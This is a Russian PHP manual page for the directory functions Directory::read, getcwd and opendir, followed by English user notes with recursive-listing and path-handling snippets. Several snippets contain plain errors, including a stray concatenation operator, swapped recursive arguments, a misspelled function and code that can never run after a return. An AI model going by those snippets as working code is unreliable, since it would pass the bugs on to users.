Примечания

Замечание:

Порядок, в котором метод "read" возвращает элементы каталога, зависит от операционной системы.

User Contributed Notes

synnus at gmail dot com 01-Mar-2022 12:34
<?php

/*
  New recursive PHP8
  gen array path with  FilesystemIterator
*/

$recurcive_path = [];
rdir(path, $recurcive_path);
var_dump($recurcive_path);

function rdir(string $path, array &$recurcive_path): string
{
    if ($path != '') {
        $recurcive_path[] = $path;
        $array_list = iterator_to_array(new FilesystemIterator($path, FilesystemIterator::SKIP_DOTS));
        foreach ($array_list as $name) {
            $pathname = $name->getpathname();
            if(is_dir($pathname) && $name->getfilename()[0] != '.'){
                $path = rdir($pathname,$recurcive_path);
            }
        }
        return $path;
    }
    return '';
}

?>
synnus at gmail dot com 26-May-2021 12:35
<?php

   // simple juste use FilesystemIterator
   // and you can skip dot and duble dot
   // and use it in array
   // new FilesystemIterator( PATH , OPTIONS ) : array

$array_file_list = new FilesystemIterator( PATH_ROOT . 'folder/', FilesystemIterator::SKIP_DOTS );

?>
synnus at gmail dot com 08-Jun-2018 01:06
<?php

// use $entry[0] != '.'  to detect if it's '..' or '.'

$d = dir('.');
echo "Pointeur : " . $d->handle . "<br/>\n";
echo "Chemin : " . $d->path . "<br/>\n";
while (false !== ($entry = $d->read())) {

   if( $entry[0] != '.' ) {
        echo  . "<br/>\n";
   }

}
$d->close()

?>
synnus at gmail dot com 19-Apr-2016 01:52
<?php
 // best small recurcive dir()
 // $entry[0]!='.'  <=== specifically to protect FTP files with a  dot '.' as first  carractere
 // return :
 // download\file\text\test.txt;
 // download\video\anime\test.mp4;
 // download\video\film\test2.mkv;

 echo rdir('download'); // start dir in \\download

 function rdir($path='',$k='') {
    $d = dir($path);
        while (false !== ($entry = $d->read())) {
            if($entry[0]!='.') {
                if(is_dir($path . '\\' . $entry)) {
                    $k = rdir($k,$path . '\\' . $entry);
                }
                else {
                    $k .= $path . '\\' . $entry . "; \n" ;
                }

            }
        }
    $d->close();
    return $k;
 }

?>
Alex A. 02-Aug-2011 05:27
<?PHP
/*Simple, good looking recursive function for printing directories.
Just copy/paste and it is ready to go!*/

function printCurrentDirRecursively($originDirectory, $printDistance=0){

    // just a little html-styling
    if($printDistance==0)echo '<div style="color:#35a; font-family:Verdana; font-size:11px;">';
    $leftWhiteSpace = "";
    for ($i=0; $i < $printDistance; $i++)  $leftWhiteSpace = $leftWhiteSpace."&nbsp;";

    $CurrentWorkingDirectory = dir($originDirectory);
    while($entry=$CurrentWorkingDirectory->read()){
        if($entry != "." && $entry != ".."){
            if(is_dir($originDirectory."\\".$entry)){
                echo $leftWhiteSpace."<b>".$entry."</b><br>\n";
                printCurrentDirRecursively($originDirectory."\\".$entry, $printDistance+2);
             }
            else{
                echo $leftWhiteSpace.$entry."<br>\n";
            }
        }
    }
    $CurrentWorkingDirectory->close();

    if($printDistance==0)echo "</div>";
}

//TEST IT!
printCurrentDirRecursively(getcwd());

?>
GUILLE@GARGANO 18-Jan-2011 09:17
to get a dir of http://www.example.com/directory

<?php
function remotedir($dir)
{
  $dir = str_replace(" ", "%20", html_entity_decode($dir));
  if (($rh = fopen($dir, 'rb')) === FALSE) { return false; }
  $i = 0;
  while (!feof($rh)) {
     $archivos = fgetss($rh);
     $directorio[$i++] = trim( substr($archivos,1,strpos($archivos," ",1)) );
  }
  fclose($rh);
  return $directorio;
}
?>
emanueledelgrande at email dot it 01-Oct-2009 06:14
When creating custom solutions, use predefined PHP constants to shorten your code and improve performances:
http://www.php.net/manual/en/reserved.constants.php

For example, DIRECTORY_SEPARATOR may replace a function in which you check PHP_OS to set if the directory separator is "/" or "\\".

Cheers.
sojka at online-forum dot net 20-Oct-2008 03:47
That's the way, I'm storing recursive dirs to an array.

<?php
public static function getTreeFolders($sRootPath = UPLOAD_PATH_PROJECT, $iDepth = 0) {
      $iDepth++;
      $aDirs = array();
      $oDir = dir($sRootPath);
      while(($sDir = $oDir->read()) !== false) {
        if($sDir != '.' && $sDir != '..' && is_dir($sRootPath.$sDir)) {
          $aDirs[$iDepth]['sName'][] = $sDir;
          $aDirs[$iDepth]['aSub'][]  = self::getTreeFolders($sRootPath.$sDir.'/',$iDepth);
        }
      }
      $oDir->close();
      return empty($aDirs) ? false : $aDirs;
}
?>
manuel at buschmanuel dot de 07-Feb-2008 02:45
Here my solution how to do effective recursiv directory listing.

Have fun.

<?php

/**
 * example of use:
 */
$d = new RecDir("/etc/",false);
echo "Path: " . $d->getRootPath() . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();

class RecDir
{
   protected $currentPath;
   protected $slash;
   protected $rootPath;
   protected $recursiveTree;

   function __construct($rootPath,$win=false)
   {
      switch($win)
      {
         case true:
            $this->slash = '\\';
            break;
         default:
            $this->slash = '/';
      }
      $this->rootPath = $rootPath;
      $this->currentPath = $rootPath;
      $this->recursiveTree = array(dir($this->rootPath));
      $this->rewind();
   }

   function __destruct()
   {
      $this->close();
   }

   public function close()
   {
      while(true === ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
      }
   }

   public function closeChildren()
   {
      while(count($this->recursiveTree)>1 && false !== ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
         return true;
      }
      return false;
   }

   public function getRootPath()
   {
      if(isset($this->rootPath))
      {
         return $this->rootPath;
      }
      return false;
   }

   public function getCurrentPath()
   {
      if(isset($this->currentPath))
      {
         return $this->currentPath;
      }
      return false;
   }

   public function read()
   {
      while(count($this->recursiveTree)>0)
      {
         $d = end($this->recursiveTree);
         if((false !== ($entry = $d->read())))
         {
            if($entry!='.' && $entry!='..')
            {
               $path = $d->path.$entry;

               if(is_file($path))
               {
                  return $path;
               }
               elseif(is_dir($path.$this->slash))
               {
                  $this->currentPath = $path.$this->slash;
                  if($child = @dir($path.$this->slash))
                  {
                     $this->recursiveTree[] = $child;
                  }
               }
            }
         }
         else
         {
            array_pop($this->recursiveTree)->close();
         }
      }
      return false;
   }

   public function rewind()
   {
      $this->closeChildren();
      $this->rewindCurrent();
   }

   public function rewindCurrent()
   {
      return end($this->recursiveTree)->rewind();
   }
}
?>
cf at chronofish dot com 25-Jun-2007 03:23
The dir Class, from what I can tell, on a Windows box is not a  live image of the directory.  When the class is instantiated it takes a snapshot of the directory and then the iterator works off that.

I may be wrong, but when I run two processes that look to see if a directory exists, and then deletes the dir when some processing takes place.  Deletes from one process do not effect the iteration of the second.

To get around this I check that the file exists before doing my processing:

$d = dir($dataDir);
while (false !== ($entry = $d->read()))
if ($entry != '..' && $entry != '.' && file_exists("$dataDir\\$entry"))
{
    // do stuff
}
$d->close();

I run this as a batch process and can activate it multiple times to process the directory listing in parallel.

-CF
thomas at hawkes dot ca 31-Jan-2007 06:10
With SPL, you could recursively list all of the folders inside the current directory like this:

<?php
$it = new RecursiveDirectoryIterator('./');

// RecursiveIteratorIterator accepts the following modes:
//     LEAVES_ONLY = 0  (default)
//     SELF_FIRST  = 1
//     CHILD_FIRST = 2
foreach (new RecursiveIteratorIterator($it, 2) as $path) {

    if ($path->isDir()) {

        echo "$path\n";

    }

}
?>
http://www.rooftopsolutions.nl 18-Jan-2007 09:17
<?php

  $i = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('.'));

?>

works for me..
alex at snet-group dot org 01-Oct-2006 11:55
IMHO, thats take most effect with smaller number of errors;)

     function get_leaf_dirs($dir)
      {
         $array = array();
         $d = @dir($dir);
         if($d)
         {
               while (false !== ($entry = $d->read()))
               {
                   if($entry!='.' && $entry!='..')
                   {
                       $entry = $dir.'/'.$entry;
                       if(is_dir($entry))
                       {
                           $subdirs = get_leaf_dirs($entry);
                           if ($subdirs)
                             $array = array_merge($array, $subdirs);
                           else
                             $array[] = $entry;
                       }
                   }
               }
               $d->close();
         }
         return $array;
      }
done_to_death at example dot com 23-Aug-2006 05:56
function directoryList($start,$win32=false){
    if($win32){
        $slash="\\";
    }else{
        $slash="/";
    }
    $basename = pathinfo($start);
    $basename = $basename['basename'];
    $ls=array();
    $dir = dir($start);
    while($item = $dir->read()){
        if(is_dir($start.$slash.$item)&& $item!="." && $item!=".."){
            $ls[$basename][]=directoryList($start.$slash.$item,$win32);
        }else{
            if($item!="."&&$item!=".."){
                $ls[$basename][]=$item;
            }
        }
    }
    return $ls;
}

$path = pathinfo(__FILE__);
$ls = directoryList($path['dirname'], true);
22-Feb-2006 01:02
Regarding samuel's comment about the dir() function not supporting Unicode properly, it's all in the encoding. The function does NOT internally change Unicode characters into question marks (?), as I was first led to believe. If you simply try to output them in UTF-8, they'll show up just right.
samuel dot l at mushicrew dot com 24-Jan-2006 10:52
Note that the dir object will use the default encoding for non-unicode programs on Windows with PHP 5.x.

So, if you have a file named with characters unsupported by the current default encoding, the dir->read() method will return a wrong entry.

<?php
/*
** This script is on the same directory than a file named with
** unsupported characters for the current default encoding.
*/
$d = dir("./");
while(false !== ($e = $d->read()))
    echo $e . '<br/>';
?>

This will print a "?" for every unsupported characters, and not the right file name. So take care if you check with is_file/is_dir right after enumerating.
radar at frozenplague dot net 13-Jan-2006 12:00
Regarding jaqb's post about a correction to the read_dir function, I have one small fix too if people wish to also list the directories inside this directory and read them into the same array.

<?
function read_dir($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $array[] = $entry;
               $array = array_merge($array, read_dir($entry));
           } else {
               $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
fordiman at gmail dot com 10-Jan-2006 10:15
Saw the leaf dirs bit...  quick mod:

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    $pat=preg_replace ("|(/.*/[^S]*)|s", "\\1S", $pat);
    while (substr ($path,-1,1) =="/") $path=substr ($path,0,-1);
    if (!is_dir ($path) ) $path=dirname ($path);
    if ($rec!==true) $rec=false;
    $d=dir ($path);
    $ret=Array ();
    while (false!== ($e=$d->read () ) ) {
        if ( ($e==".") || ($e=="..") ) continue;
        if ($rec && is_dir ($path."/".$e) ) {
            $ret=array_merge ($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        if (!preg_match ($pat,$e) ) continue;
        $ret[]=$path."/".$e;
    }
    return (empty ($ret) && preg_match ($pat,basename($path))) ? Array ($path."/") : $ret;
}

example:

foreach (preg_ls ("/usr/share/fluxbox", true, "/[LT]e[sa]/i") as $file) echo $file."\n";

output:

/usr/share/fluxbox/styles/Leaf/
/usr/share/fluxbox/styles/Clean
/usr/share/fluxbox/styles/Testing/
fordiman at gmail dot com 10-Jan-2006 10:05
This one's pretty nice.  After getting frustrated for hunting down .jpg files in my massive music collection (PHP would run out of memory), I thought there should be a preg_ls function.

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    // it's going to be used repeatedly, ensure we compile it for speed.
    $pat=preg_replace("|(/.*/[^S]*)|s", "\\1S", $pat);
    //Remove trailing slashes from path
    while (substr($path,-1,1)=="/") $path=substr($path,0,-1);
    //also, make sure that $path is a directory and repair any screwups
    if (!is_dir($path)) $path=dirname($path);
    //assert either truth or falsehoold of $rec, allow no scalars to mean truth
    if ($rec!==true) $rec=false;
    //get a directory handle
    $d=dir($path);
    //initialise the output array
    $ret=Array();
    //loop, reading until there's no more to read
    while (false!==($e=$d->read())) {
        //Ignore parent- and self-links
        if (($e==".")||($e=="..")) continue;
        //If we're working recursively and it's a directory, grab and merge
        if ($rec && is_dir($path."/".$e)) {
            $ret=array_merge($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        //If it don't match, exclude it
        if (!preg_match($pat,$e)) continue;
        //In all other cases, add it to the output array
        $ret[]=$path."/".$e;
    }
    //finally, return the array
    return $ret;
}

Not bad for a mere 18 lines, don't you think?

Example use:

foreach (preg_ls("/etc/X11", true, "/.*\.conf/i") as $file) echo $file."\n";

Output:

/etc/X11/xkb/README.config
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf~
/etc/X11/gui.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf-fbdev
Anton Backer 04-Jan-2006 07:24
i've modified the script below to get the leaf folders of any directory (folders with no subfolders).

note: this does not return the folder passed in as a parameter, even if it has no subfolders.

<?php
function get_leaf_dirs($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $subdirs = get_leaf_dirs($entry);
               if ($subdirs)
                  $array = array_merge($array, $subdirs);
               else
                  $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>


Получает имя текущего рабочего каталога

  • « dir
  • opendir »
  • PHP Manual
  • Функции для работы с каталогами
  • Получает имя текущего рабочего каталога

getcwd

(PHP 4, PHP 5, PHP 7, PHP 8)

getcwd — Получает имя текущего рабочего каталога

Описание

getcwd(): string|false

Возвращает имя текущего рабочего каталога.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий рабочий каталог в случае успешного выполнения или false в случае ошибки.

На некоторых вариантах Unix getcwd() вернёт false, если на каком-либо из родительских каталогов не установлен режим чтения или поиска, даже если он установлен на текущем каталоге. Больше информации о режимах доступа смотрите в документации функции chmod().

Примеры

Пример #1 Пример использования getcwd()

<?php

// текущий каталог
echo getcwd() . "\n";

chdir('cvs');

// текущий каталог
echo getcwd() . "\n";

?>

Результатом выполнения данного примера будет что-то подобное:

/home/didou
/home/didou/cvs

Предостережение

Если PHP-интерпретатор собран с поддержкой ZTS (Zend Thread Safety), текущий рабочий каталог, возвращаемый getcwd(), может отличаться от того, что возвращают интерфейсы операционной системы. Буду задействованы внешние библиотеки (подключённые через FFI), использующие текущий рабочий каталог.

Смотрите также

  • chdir() - Изменяет каталог
  • chmod() - Изменяет режим доступа к файлу

User Contributed Notes

Anonymous 28-Dec-2021 06:36
given a link
/some/link->/some/location/path

with linux bash,
if  within the linked drawer  /some/link
cd ..              goes upper link                   /some/
cd -P ..         goes upper destination       /some/location/

with php
fopen ("../file")  goes upper destination        /some/location/file

some others commented about ways obtaining the path below.

I found some luck with using    $_SERVER['DOCUMENT_ROOT'] instead
to recraft an absolute path.
CXJ 20-Mar-2017 11:56
getcwd() appears to call the equivalent of PHP's realpath() on the path.  It never returns symlinks, but always the actual directory names in the path to the current working directory.
Craig 05-Mar-2016 11:44
Be aware when calling getcwd() in directories consisting of symlinks.

getcwd()  is the equivalent of shell command "pwd -P" which resolves symlinks.

The shell command "pwd" is the equivalent of "pwd -L" which uses PWD from the environment without resolving symlinks. This is also the equivalent of calling getenv('PWD').
Anonymous 14-Jul-2010 04:04
As you could read in
http://www.php.net/manual/en/features.commandline.differences.php
the CLI SAPI does - contrary to other SAPIs - NOT automatically change the current working directory to the one the started script resides in.

A very simple workaround to regain the behaviour you're used to from your "ordinary" webpage scripting is to include something like that at the beginning of your script:

<?php
  chdir( dirname ( __FILE__ ) );
?>

But because this is about reading or "finding" pathes, you might appreciate it if I share some more sophisticated tricks I frequently use in CLI scripts ...

<?php
// Note: all pathes stored in subsequent Variables end up with a DIRECTORY_SEPARATOR

// how to store the working directory "from where" the script was called:
$initial_cwd = preg_replace( '~(\w)$~' , '$1' . DIRECTORY_SEPARATOR , realpath( getcwd() ) );

// how to switch symlink-free to the folder the current file resides in:
chdir( dirname ( realpath ( __FILE__ ) ) );

// how to store the former folder in a variable:
$my_folder = dirname( realpath( __FILE__ ) ) . DIRECTORY_SEPARATOR;

// how to get a path one folder up if $my_folder ends with \class\ or /class/ :
$my_parent_folder = preg_replace( '~[/\\\\]class[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to get a path one folder up in any case :
$my_parent_folder = preg_replace( '~[/\\\\][^/\\\\]*[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to make an array of OS-style-pathes from an array of unix-style-pathes
// (handy if you use config-files or so):
foreach( $unix_style_pathes as $unix_style_path )
    $os_independent_path[] = str_replace( '/' , DIRECTORY_SEPARATOR , $unix_style_path );

?>
bvidinli at gmail dot com 21-Jan-2009 01:13
if you link your php to /bin/linkedphp  and your php is at for ex /home/actual.php

when you run linkedphp in somewhere in your filesystem,
getcwd returns /bin instead of working dir,

solution: use dirname(__FILENAME__) instead
ash at ashmckenzie dot org 18-Nov-2008 05:37
It appears there is a change in functionality in PHP5 from PHP4 when using the CLI tool.  Here is the example: -

cd /tmp

cat > foo.php << END
<?php
    print getcwd() . "\n";
?>
END

cd /

php -q /tmp/foo.php

PHP4 returns /tmp
PHP5 returns /

Something to be aware of.
Wolfgang M. Pauli 04-May-2008 07:44
If you try to use getcwd() in a directory that is a symbolic link, getcwd() gives you the target of that link (similarly when parent etc. is symbolic link). There might be a better solution, but this worked for me (linux):
<? php
$cwd = exec('pwd');
?>
znupi69NOSPAMHERE at gmail dot com 03-Mar-2008 10:39
In response to myself: that function will not work for cases like:
/usr/bin$: /home/johndoe/Work/script.php
So here's a better and simpler way (I think this one works for all cases)
<?php
function get_file_dir() {
    global $argv;
    return realpath($argv[0]);
}
?>
Knock yourself out :)
znupi69NOSPAMHERE at gmail dot com 02-Mar-2008 07:01
When running PHP on the command line, if you want to include another file which is in the same directory as the main script, doing just
<?php
include './otherfile.php';
?>
might not work, if you run your script like this:
/$ /path/to/script.php
because the current working dir will be set to '/', and the file '/otherfile.php' does not exist, because it is in '/path/to/otherfile.php'.
So, to get the directory in which the script resides, you can use this function:
<?php
function get_file_dir() {
    global $argv;
    $dir = dirname(getcwd() . '/' . $argv[0]);
    $curDir = getcwd();
    chdir($dir);
    $dir = getcwd();
    chdir($curDir);
    return $dir;
}
?>
So you can use it like this:
<?php
include get_file_dir() . '/otherfile.php';
// or even..
chdir(get_file_dir());
include './otherfile.php';
?>
Spent some time thinking this one out, maybe it helps someone :)
leonbrussels at gmail dot com 17-Dec-2007 08:10
This is a function to convert a path which looks something like this:

/home/www/somefolder/../someotherfolder/../

To a proper directory path:

<?php

function simplify_path($path) {

//saves our current working directory to a variable
$oldcwd = getcwd();
//changes the directory to the one to convert
//$path is the directory to convert (clean up), handed over to the //function as a string

chdir($path);
return gstr_replace('\\', '/', getcwd());

//change the cwd back to the old value to not interfere with the script
chdir($oldcwd);

}

This function is really useful if you want to compare two filepaths which are not necesarily in a "cleaned up" state. It works in *NIX and WINDOWS alike

?>
ab5602 at wayne dot edu 30-Sep-2007 10:33
If getcwd() returns nothing for you under Solaris with an NFS mounted subdirectory, you are running into an OS bug that is supposedly fixed in recent versions of Solaris 10.  This same OS bug effects the include() and require() functions as well.
troy dot cregger at gmail dot com 26-Jan-2007 12:10
Take care if you use getcwd() in file that you'll need to include (using include, require, or *_once) in a script located outside of the same directory tree.

example:
<?php
//in /var/www/main_document_root/include/MySQL.inc.php
if (strpos(getcwd(),'main_')>0) {
  //code to set up main DB connection
}
?>

<?php
//in home/cron_user/maintenance_scripts/some_maintenance_script.php
require_once ('/var/www/main_document_root/include/MySQL.inc.php');
?>

In the above example, the database connection will not be made because the call to getcwd() returns the path relative to the calling script ( /home/cron_user/maintenance_scripts ) NOT relative to the file where the getcwd() function is called.
mark dot phpnetspam at mhudson dot net 03-Nov-2006 01:42
This function is often used in conjuction with basename(), i.e.
http://www.php.net/manual/en/function.basename.php
hodgman at ali dot com dot au 06-Sep-2006 07:58
I use this code to replicate the pushd and popd DOS commands in PHP:

<?php
$g_DirStack = array();
function pushd( $dir )
{
    global $g_DirStack;
    array_push( $g_DirStack, getcwd() );
    chdir( $dir );
}
function popd( )
{
    global $g_DirStack;
    $dir = array_pop( $g_DirStack );
    assert( $dir !== null );
    chdir( $dir );
}
?>

This allows you to change the current directory with pushd, then use popd to "undo" the directory change when you're done.
emailfire at gmail dot com 08-Dec-2005 06:57
To get the username of the account:

<?php
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
?>

If current directory is '/home/mike/public_html/' it would return mike.
memandeemail at gmail dot com 07-Dec-2005 03:48
Some server's has security options to block the getcwd()

Alternate option:

str_replace($_SERVER['SCRIPT_NAME'],'', $_SERVER['SCRIPT_FILENAME']);
marcus at synchromedia dot co dot uk 04-May-2005 08:41
"On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does."

Just so you know, MacOS X is one of these variants (at least 10.4 is for me). You can make it work by applying 'chmod a+rx' to all folders from your site folder upwards.
vermicin at antispam dot gmail dot com 27-Jan-2005 03:48
If your PHP cli binary is built as a cgi binary (check with php_sapi_name), the cwd functions differently than you might expect.

say you have a script /usr/local/bin/purge
you are in /home/username

php CLI: getcwd() gives you /home/username
php CGI: getcwd() gives you /usr/local/bin

This can trip you up if you're writing command line scripts with php. You can override the CGI behavior by adding -C to the php call:

#!/usr/local/bin/php -Cq

and then getcwd() behaves as it does in the CLI-compiled version.
manux at manux dot org 21-Jun-2004 09:44
watch out:
working directory, and thus:
getcwd ()
is "/" while being into a register'ed shutdown function!!!
dave at corecomm dot us 10-Dec-2003 10:14
getcwd() returns the path of the "main" script referenced in the URL.

dirname(__FILE__) will return the path of the script currently executing.

I had written a script that required several class definition scripts from the same directory. It retrieved them based on filename matches and used getcwd to figure out where they were.

Didn't work so well when I needed to call that first script from a new file in a different directory.


Открывает дескриптор каталога

  • « getcwd
  • readdir »
  • PHP Manual
  • Функции для работы с каталогами
  • Открывает дескриптор каталога

opendir

(PHP 4, PHP 5, PHP 7, PHP 8)

opendir — Открывает дескриптор каталога

Описание

opendir(string $directory, ?resource $context = null): resource|false

Открывает дескриптор каталога для последующего использования с функциями closedir(), readdir() и rewinddir().

Список параметров

directory

Путь к открываемому каталогу

context

Для описания параметра context обратитесь к разделу Потоки.

Возвращаемые значения

Возвращает дескриптор каталога (resource) в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Может произойти, если directory не является директорией, директория не может быть открыта из-за недостаточных разрешений или из-за ошибок файловой системы.

Список изменений

Версия | Описание
8.0.0 | context теперь допускает значение null.

Примеры

Пример #1 Пример использования функции opendir()

<?php
$dir = "/etc/php5/";

// Открыть известный каталог и начать считывать его содержимое
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
echo "файл: $file : тип: " . filetype($dir . $file) . "\n";
}
closedir($dh);
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

файл: . : тип: dir
файл: .. : тип: dir
файл: apache : тип: dir
файл: cgi : тип: dir
файл: cli : тип: dir

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • readdir() - Получает элемент каталога по его дескриптору
  • dir() - Возвращает экземпляр класса Directory

User Contributed Notes

Alex Dawn 15-Mar-2023 05:56
<?php

/**
 * These functions pair up nicely with generators, to hide away
 * all the messy file handlers (a bit like python's with blocks)
 * remove the echos they are just to demo how the generator
 * works with the foreach loop.
 *
 * @param string $filepath
 * @return Generator<string>
 */
function generateFiles(string $filepath): Generator
{
    echo "opening handle" . PHP_EOL;
    $handle = opendir($filepath);
    // looks more complex than needed but the docs says the type check is important
    // https://www.php.net/manual/en/function.readdir.php
    try {
        while (false !== ($entry = readdir($handle))) {
            yield $entry;
        }
    } finally {
        closedir($handle);
        echo "closed handle" . PHP_EOL;
    }
}

foreach (generateFiles('.') as $file) {
    echo $file . PHP_EOL;
}
hxss at ya dot ru 06-Sep-2017 11:02
The TRUE recursive map function for working with dirs & files.
You can create, read(find), update(or move) or delete files/dirs/tree by your callable function.
You can use flags for select what content you need.

<?php
var_dump(dirmap($dst, function($v) {
    pre($v);
    return true;
}, 1|2|4|8));

/**
 * Applies the callback to the entries of the given dir path
 * In accordance with the received flags
 * @param  string   $path   path of the working directory
 * @param  Callable $action Callable function that would be
 *     executed for every entry in path
 * @param  integer  $flags  can be the following flag:
 *     1: apply Callable function for files
 *     2: apply Callable function for directories
 *     4: apply Callable function for $path
 *     8: work recursively
 * @return bool bitwise AND of all (bool)$action calls results
 */
function dirmap(string $path, Callable $action, int $flags = 15) {
    $flF = boolval($flags & 1);
    $flD = boolval($flags & 2);
    $flP = boolval($flags & 4);
    $flR = boolval($flags & 8);
    $result = 1;

    if (is_dir($path)) {

        $dir = opendir($path);
        while ($entry = readdir($dir))
            if (!in_array($entry, ['.', '..'])) {
                $fullEntry = "{$path}/{$entry}";

                if ($flR)
                    $result &= dirmap($fullEntry, $action, $flags & 11);

                if ($flF && is_file($fullEntry) || $flD && is_dir($fullEntry))
                    $result &= (bool)call_user_func($action, $fullEntry);
            }

        if ($flP)
            $result &= (bool)call_user_func($action, $fullEntry);

        return (bool)$result;
    } else
        return is_file($path);
}
?>
sergio dot barrios at upr dot edu dot cu 02-Aug-2016 03:08
iterated function that searches a folder or file in a directory.

<?php

$root = '../Classes';
$search_parameter = "CachedObjectStorageFactory.php";

//if we call the function spider as spider($root);
//will show all the directory content including subdirectories

//if we call the function spider as spider('../Classes', 'Shared');
//and will show the address of the directory

spider($root, $search_parameter);
closedir();

function spider($dir,$fileName=""){

    $handle = opendir($dir);

    while($file= readdir($handle)){

       if($file != "." && $file != ".."){

          if($fileName=="")
             echo $dir."/".$file."<br>";
        else
           if($file == $fileName)
            echo $dir."/".$file."<br>";

        if(!is_file($dir."/".$file))
            spider($dir."/".$file,$fileName);

      }
   }

}

?>
hz_php at hotmail dot com { hussam alzahabi } 24-Apr-2016 10:59
Sometimes the programmer needs to access folder content which has arabic name but the opendir function will return null resources id

for that we must convert the dirname charset from utf-8 to windows-1256 by the iconv function just if the preg_match function detect arabic characters and use " U " additionality to enable multibyte matching

<?php

$dir = ("./"); // on this file dir

// detect if the path has arabic characters and use " u "  optional to enable function to match multibyte characters

if (preg_match('#[\x{0600}-\x{06FF}]#iu', $dir) )
{

    // convert input ( utf-8 ) to output ( windows-1256 )

    $dir = iconv("utf-8","windows-1256",$dir);

}

 if( is_dir($dir) )
 {

     if(  ( $dh = opendir($dir) ) !== null  )
     {

         while ( ( $file = readdir($dh) ) !== false  )
         {

             echo "filename: ".$file ." filetype : ".filetype($dir.$file)."<br/>";

         }

     }

 }

?>
olivernassar.com 03-Aug-2009 01:46
Hopefully this helps someone else. Returns a list of all the files in the directory and any subdirectories.
Excludes files/folders that are in the $exempt array. Can modifiy it so files aren't passed by reference fairly easily.

<?php

    function getFiles($directory,$exempt = array('.','..','.ds_store','.svn'),&$files = array()) {
        $handle = opendir($directory);
        while(false !== ($resource = readdir($handle))) {
            if(!in_array(strtolower($resource),$exempt)) {
                if(is_dir($directory.$resource.'/'))
                    array_merge($files,
                        self::getFiles($directory.$resource.'/',$exempt,$files));
                else
                    $files[] = $directory.$resource;
            }
        }
        closedir($handle);
        return $files;
    }

?>
Anonymous 24-Jul-2009 08:42
If you want to iterate through a directory, have a look at the SPL DirectoryIterator:
http://php.net/manual/class.directoryiterator.php
Madog Llwyd 09-May-2009 05:22
A simple piece to open a directory and display any files with a given extension. Great for things like newsletters, score sheets or the like where you just want to make it easy on the user - they just dump in the file with the correct extension and it's done. A link is given to the file which opens up in a new window.

<?php
  $current_dir = "$DOCUMENT_ROOT"."dirname/";    //Put in second part, the directory - without a leading slash but with a trailing slash!
  $dir = opendir($current_dir);        // Open the sucker

  echo ("<p><h1>List of available files:</h1></p><hr><br />");
  while ($file = readdir($dir))            // while loop
    {
    $parts = explode(".", $file);                    // pull apart the name and dissect by period
    if (is_array($parts) && count($parts) > 1) {    // does the dissected array have more than one part
        $extension = end($parts);        // set to we can see last file extension
        if ($extension == "ext" OR $extension == "EXT")    // is extension ext or EXT ?
             echo "<a href=\"$file\" target=\"_blank\"> $file </a><br />";    // If so, echo it out else do nothing cos it's not what we want
        }
    }
  echo "<hr><br />";
  closedir($dir);        // Close the directory after we are done
?>
DaveRandom 18-Apr-2009 09:08
A couple of notes on Matt's posts on Windows Network Drives:

Since the system() command writes the output of the executed shell command straight to the output buffer, if you wish to hide the return of the mapping command (i.e. "The command completed succesfully" or an error message) from a web browser, you need to alter the command that is sent to the shell so that the output of that command is hidden.

You probably thinking "why not just use exec()?", and it's a reasonable question, but for some reason it doesn't always work - I guess it's another NT user permissions issue. If you want to guarantee you app will work with no messing around on the host system, use the system() command.

In the Windows command shell, you can hide the output of a command by sending both the output (1) and error (2) messages to "nul" using pipes, in other words ">nul 2>&1" on the end of the command. The username and password order in the "net use..." command needs switching in Matt's post.

Here (http://networkm.co.uk/static/drive.html) is a function I wrote to dynamically choose which drive letter to use, based on what is currently mapped and accessible to PHP.

<?php

// Define the parameters for the shell command
$location = "\\servername\sharename";
$user = "USERNAME";
$pass = "PASSWORD";
$letter = "Z";

// Map the drive
system("net use ".$letter.": \"".$location."\" ".$pass." /user:".$user." /persistent:no>nul 2>&1");

// Open the directory
$dir = opendir($letter.":/an/example/path")

...

?>
Richard Bronosky 11-Mar-2009 09:14
The easiest way to get a dir listing and sort it is to exec() out to ls (eg:'ls -t'). But, that is considered "unsafe". My hosting company finally caught me doing it so here is my fastest solution. (Lucky for me each file is created with a Unix Timestamp at the end of the name and no other numbers in it.)

<?php
#exec('ls -t ./images/motion_detection/', $files); # They outlawed exec, so now I have to do it by hand.
if ($handle = opendir('./images/motion_detection/')) {
    $files=array();
    while (false !== ($file = readdir($handle))) {
        $files[$file] = preg_replace('/[^0-9]/', '', $file); # Timestamps may not be unique, file names are.
    }
    closedir($handle);
    arsort($files);
    $files=array_keys($files);
}
?>

Before you go copying someone's bloat kitchen sink function/class, consider what you have and what you really need.
php at uchange dot co dot uk 05-Dec-2008 09:36
Having spent an hour or so trying to get a complete list of files from a network share on Windows, I've given up (Apache 2.2 Win32, WinXP, PHP5 -> Windows 2000 R2).

Trying to use a mapped drive letter gives me an error and trying to use the UNC path works but is dog slow (it takes a couple of minutes to open and readdir() a directory with a couple of hundred files).

